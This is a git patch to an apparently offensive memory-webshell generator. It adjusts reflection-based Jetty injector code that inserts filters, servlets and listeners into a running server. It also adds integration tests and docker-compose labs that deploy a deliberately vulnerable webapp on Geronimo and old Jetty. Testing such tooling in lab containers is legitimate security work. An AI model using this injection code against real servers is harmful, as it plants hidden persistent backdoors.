From f19a864fc5b4b6bfb6ac63d0daf9152f0d3556d6 Mon Sep 17 00:00:00 2001 From: ReaJason Date: Sat, 13 Jun 2026 13:32:33 +0800 Subject: [PATCH] test: add Geronimo/Jetty 7.1 cases --- .../workflows/memshell-integration-test.yml | 2 + .../injector/jetty/JettyFilterInjector.java | 33 ++++----- .../injector/jetty/JettyHandlerInjector.java | 3 +- .../injector/jetty/JettyListenerInjector.java | 26 ++----- .../injector/jetty/JettyServletInjector.java | 21 ++---- .../probe/payload/response/JettyWriter.java | 5 +- .../geronimo/docker-compose-221-jetty.yaml | 10 +++ .../geronimo/docker-compose-221-tomcat.yaml | 7 ++ .../jetty/docker-compose-7.1-jdk6.yaml | 11 +++ .../Geronimo221Jetty7ContainerTest.java | 59 ++++++++++++++++ .../Geronimo221Tomcat6ContainerTest.java | 68 +++++++++++++++++++ .../memshell/jetty/Jetty71ContainerTest.java | 53 +++++++++++++++ .../probe/jetty/Jetty71ContainerTest.java | 35 ++++++++++ .../src/main/webapp/WEB-INF/geronimo-web.xml | 17 +++++ 14 files changed, 290 insertions(+), 60 deletions(-) create mode 100644 integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml create mode 100644 integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml create mode 100644 integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java create mode 100644 integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java create mode 100644 vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml diff --git a/.github/workflows/memshell-integration-test.yml b/.github/workflows/memshell-integration-test.yml index 12760959..cb42eabf 100644 --- a/.github/workflows/memshell-integration-test.yml +++ b/.github/workflows/memshell-integration-test.yml @@ -52,6 +52,8 @@ jobs: depend_tasks: ":vul:vul-struts2:war" - middleware: "jenkins" depend_tasks: "" + - middleware: "geronimo" + depend_tasks: ":vul:vul-webapp:war" runs-on: ubuntu-22.04 name: ${{ matrix.cases.middleware }} steps: diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java index 8bf4f874..e73a8a08 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyFilterInjector.java @@ -6,6 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; import java.util.HashSet; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -130,7 +131,16 @@ public class JettyFilterInjector { } newMappings[0] = filterMapping; invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings}); - invokeMethod(servletHandler, "invalidateChainsCache"); + try { + invokeMethod(servletHandler, "invalidateChainsCache"); + } catch (NoSuchMethodException e) { + Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache"); + if (_chainCache != null) { + for (Map cache : _chainCache) { + if (cache != null) cache.clear(); + } + } + } } @Override @@ -176,29 +186,14 @@ public class JettyFilterInjector { try { Object target = getFieldValue(thread, "target"); if (target != null && target.getClass().getName().contains("winstone.Launcher")) { - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); - java.util.Iterator _it3 = hostConfigs.values().iterator(); - while (_it3.hasNext()) { - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + for (Object o : hostConfigs.values()) { + Map apps = (Map) getFieldValue(o, "webapps"); contexts.addAll(apps.values()); } } } catch (Throwable ignored) { } - - // Geronimo-Jetty - try { - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); - java.util.Iterator _it2 = map.keySet().iterator(); - while (_it2.hasNext()) { - Object object = _it2.next(); - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { - contexts.add(getFieldValue(object, "webAppContext")); - } - } - } catch (Throwable ignored) { - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java index c0d44bdd..cfd84c6c 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyHandlerInjector.java @@ -110,7 +110,8 @@ public class JettyHandlerInjector { if (entry != null) { Object threadLocalValue = getFieldValue(entry, "value"); if (threadLocalValue != null) { - if (threadLocalValue.getClass().getName().contains("HttpConnection")) { + if (threadLocalValue.getClass().getName().contains("HttpConnection") + || threadLocalValue.getClass().getName().contains("SelectChannelConnector")) { return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer"); } } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java index 49694a14..8ccec10f 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyListenerInjector.java @@ -8,10 +8,7 @@ import java.lang.reflect.Array; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; -import java.util.EventListener; -import java.util.HashSet; -import java.util.List; -import java.util.Set; +import java.util.*; import java.util.zip.GZIPInputStream; /** @@ -106,29 +103,14 @@ public class JettyListenerInjector { try { Object target = getFieldValue(thread, "target"); if (target != null && target.getClass().getName().contains("winstone.Launcher")) { - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); - java.util.Iterator _it3 = hostConfigs.values().iterator(); - while (_it3.hasNext()) { - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + for (Object o : hostConfigs.values()) { + Map apps = (Map) getFieldValue(o, "webapps"); contexts.addAll(apps.values()); } } } catch (Throwable ignored) { } - - // Geronimo-Jetty - try { - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); - java.util.Iterator _it2 = map.keySet().iterator(); - while (_it2.hasNext()) { - Object object = _it2.next(); - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { - contexts.add(getFieldValue(object, "webAppContext")); - } - } - } catch (Throwable ignored) { - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java index 72c657d3..b32de6f2 100644 --- a/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java +++ b/generator/src/main/java/com/reajason/javaweb/memshell/injector/jetty/JettyServletInjector.java @@ -6,6 +6,7 @@ import java.io.IOException; import java.io.PrintStream; import java.lang.reflect.*; import java.util.HashSet; +import java.util.Map; import java.util.Set; import java.util.zip.GZIPInputStream; @@ -114,29 +115,15 @@ public class JettyServletInjector { try { Object target = getFieldValue(thread, "target"); if (target != null && target.getClass().getName().contains("winstone.Launcher")) { - java.util.Map hostConfigs = (java.util.Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); - java.util.Iterator _it3 = hostConfigs.values().iterator(); - while (_it3.hasNext()) { - java.util.Map apps = (java.util.Map) getFieldValue(_it3.next(), "webapps"); + Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs"); + for (Object o : hostConfigs.values()) { + Map apps = (Map) getFieldValue(o, "webapps"); contexts.addAll(apps.values()); } } } catch (Throwable ignored) { } - // Geronimo-Jetty - try { - java.util.Map map = (java.util.Map) getFieldValue(getFieldValue(getFieldValue(getFieldValue(getFieldValue(thread, "target"), "listener"), "kernel"), "registry"), "instanceRegistry"); - java.util.Iterator _it2 = map.keySet().iterator(); - while (_it2.hasNext()) { - Object object = _it2.next(); - if (object.getClass().getName().equals("org.apache.geronimo.jetty7.WebAppContextWrapper")) { - contexts.add(getFieldValue(object, "webAppContext")); - } - } - } catch (Throwable ignored) { - } - } return contexts; } diff --git a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java index f199c40b..8173c219 100644 --- a/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java +++ b/generator/src/main/java/com/reajason/javaweb/probe/payload/response/JettyWriter.java @@ -33,7 +33,10 @@ public class JettyWriter { continue; } Object value = getFieldValue(entry, "value"); - if (value != null && value.getClass().getName().endsWith("HttpConnection")) { + if (value != null && ( + value.getClass().getName().endsWith("HttpConnection") + || value.getClass().getName().contains("SelectChannelConnector") + )) { Object response; Object request; try { diff --git a/integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml b/integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml new file mode 100644 index 00000000..07875766 --- /dev/null +++ b/integration-test/docker-compose/geronimo/docker-compose-221-jetty.yaml @@ -0,0 +1,10 @@ +services: + target: + image: reajason/geronimo:2.2.1-jetty7 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml b/integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml new file mode 100644 index 00000000..2090e9f9 --- /dev/null +++ b/integration-test/docker-compose/geronimo/docker-compose-221-tomcat.yaml @@ -0,0 +1,7 @@ +services: + target: + image: reajason/geronimo:2.2.1-tomcat6 + ports: + - "8080:8080" + volumes: + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/opt/geronimo/deploy/app.war \ No newline at end of file diff --git a/integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml b/integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml new file mode 100644 index 00000000..a5b38b63 --- /dev/null +++ b/integration-test/docker-compose/jetty/docker-compose-7.1-jdk6.yaml @@ -0,0 +1,11 @@ +services: + jetty716: + image: reajason/jetty:7.1.6-jdk6 + ports: + - "8080:8080" + - "5005:5005" + environment: + JAVA_TOOL_OPTIONS: -agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005 + volumes: + - ../../../asserts/agent/jattach-linux:/opt/jattach + - ../../../vul/vul-webapp/build/libs/vul-webapp.war:/usr/local/jetty/webapps/app.war \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java new file mode 100644 index 00000000..110d74ad --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Jetty7ContainerTest.java @@ -0,0 +1,59 @@ +package com.reajason.javaweb.integration.memshell.geronimo; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Geronimo221Jetty7ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .builder() + .server(Server.Jetty) + .imageName("reajason/geronimo:2.2.1-jetty7") + .warFile(ContainerTool.warFile) + .warDeployPath("/opt/geronimo/deploy/app.war") + .pidScript(ContainerTool.javaPid) + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java new file mode 100644 index 00000000..df057620 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/geronimo/Geronimo221Tomcat6ContainerTest.java @@ -0,0 +1,68 @@ +package com.reajason.javaweb.integration.memshell.geronimo; + +import com.reajason.javaweb.Server; +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.integration.ContainerTool; +import com.reajason.javaweb.integration.ShellAssertion; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.junit.jupiter.api.Test; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/4 + */ +@Testcontainers +public class Geronimo221Tomcat6ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .builder() + .server(Server.Tomcat) + .imageName("reajason/geronimo:2.2.1-tomcat6") + .warFile(ContainerTool.warFile) + .warDeployPath("/opt/geronimo/deploy/app.war") + .pidScript(ContainerTool.javaPid) + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE, + ShellType.AGENT_FILTER_CHAIN, + ShellType.CATALINA_AGENT_CONTEXT_VALVE + )) + .testPackers(List.of(Packers.JSP, Packers.AgentJarWithJDKAttacher)) + .probeShellTypes(List.of( + ShellType.FILTER, + ShellType.SERVLET, + ShellType.LISTENER, + ShellType.VALVE, + ShellType.PROXY_VALVE + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } + + @Test + void testListProcessAndAttachAll() { + ShellAssertion.testListProcessAndAttachAll(getUrl(), getConfig(), ShellType.AGENT_FILTER_CHAIN, getContainer()); + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java new file mode 100644 index 00000000..87000848 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/memshell/jetty/Jetty71ContainerTest.java @@ -0,0 +1,53 @@ +package com.reajason.javaweb.integration.memshell.jetty; + +import com.reajason.javaweb.integration.AbstractContainerTest; +import com.reajason.javaweb.integration.ContainerTestConfig; +import com.reajason.javaweb.memshell.ShellType; +import com.reajason.javaweb.packer.Packers; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.containers.Network; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +import java.util.List; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty71ContainerTest extends AbstractContainerTest { + private static final ContainerTestConfig CONFIG = ContainerTestConfig + .jetty("reajason/jetty:7.1.6-jdk6") + .warDeployPath("/usr/local/jetty/webapps/app.war") + .serverVersion("7+") + .targetJdkVersion(Opcodes.V1_6) + .supportedShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER, + ShellType.JETTY_AGENT_HANDLER + )) + .testPackers(List.of(Packers.JSP)) + .probeShellTypes(List.of( + ShellType.SERVLET, + ShellType.FILTER, + ShellType.LISTENER, + ShellType.HANDLER + )) + .build(); + + static Network network = newNetwork(); + @Container + public static final GenericContainer python = buildPythonContainer(network); + + @Container + public static final GenericContainer container = buildContainer(CONFIG, network); + + @Override + protected ContainerTestConfig getConfig() { + return CONFIG; + } +} diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java new file mode 100644 index 00000000..33cc74f0 --- /dev/null +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/probe/jetty/Jetty71ContainerTest.java @@ -0,0 +1,35 @@ +package com.reajason.javaweb.integration.probe.jetty; + +import com.reajason.javaweb.integration.probe.AbstractProbeContainerTest; +import com.reajason.javaweb.integration.probe.ProbeTestConfig; +import net.bytebuddy.jar.asm.Opcodes; +import org.testcontainers.containers.GenericContainer; +import org.testcontainers.junit.jupiter.Container; +import org.testcontainers.junit.jupiter.Testcontainers; + +/** + * @author ReaJason + * @since 2024/12/7 + */ +@Testcontainers +public class Jetty71ContainerTest extends AbstractProbeContainerTest { + + private static final ProbeTestConfig CONFIG = ProbeTestConfig + .jettyOld("reajason/jetty:7.1.6-jdk6", "/usr/local/jetty/webapps/app.war") + .expectedJdkVersion("JDK|1.6.0_45|50") + .targetJdkVersion(Opcodes.V1_6) + .build(); + + @Container + public static final GenericContainer container = buildContainer(CONFIG); + + @Override + protected ProbeTestConfig getConfig() { + return CONFIG; + } + + @Override + protected GenericContainer getContainer() { + return container; + } +} diff --git a/vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml b/vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml new file mode 100644 index 00000000..2e9d4fab --- /dev/null +++ b/vul/vul-webapp/src/main/webapp/WEB-INF/geronimo-web.xml @@ -0,0 +1,17 @@ + + + + + com.mycompany + app + 1.0 + war + + + org.apache.commons.fileupload + org.apache.commons.io + + + /app +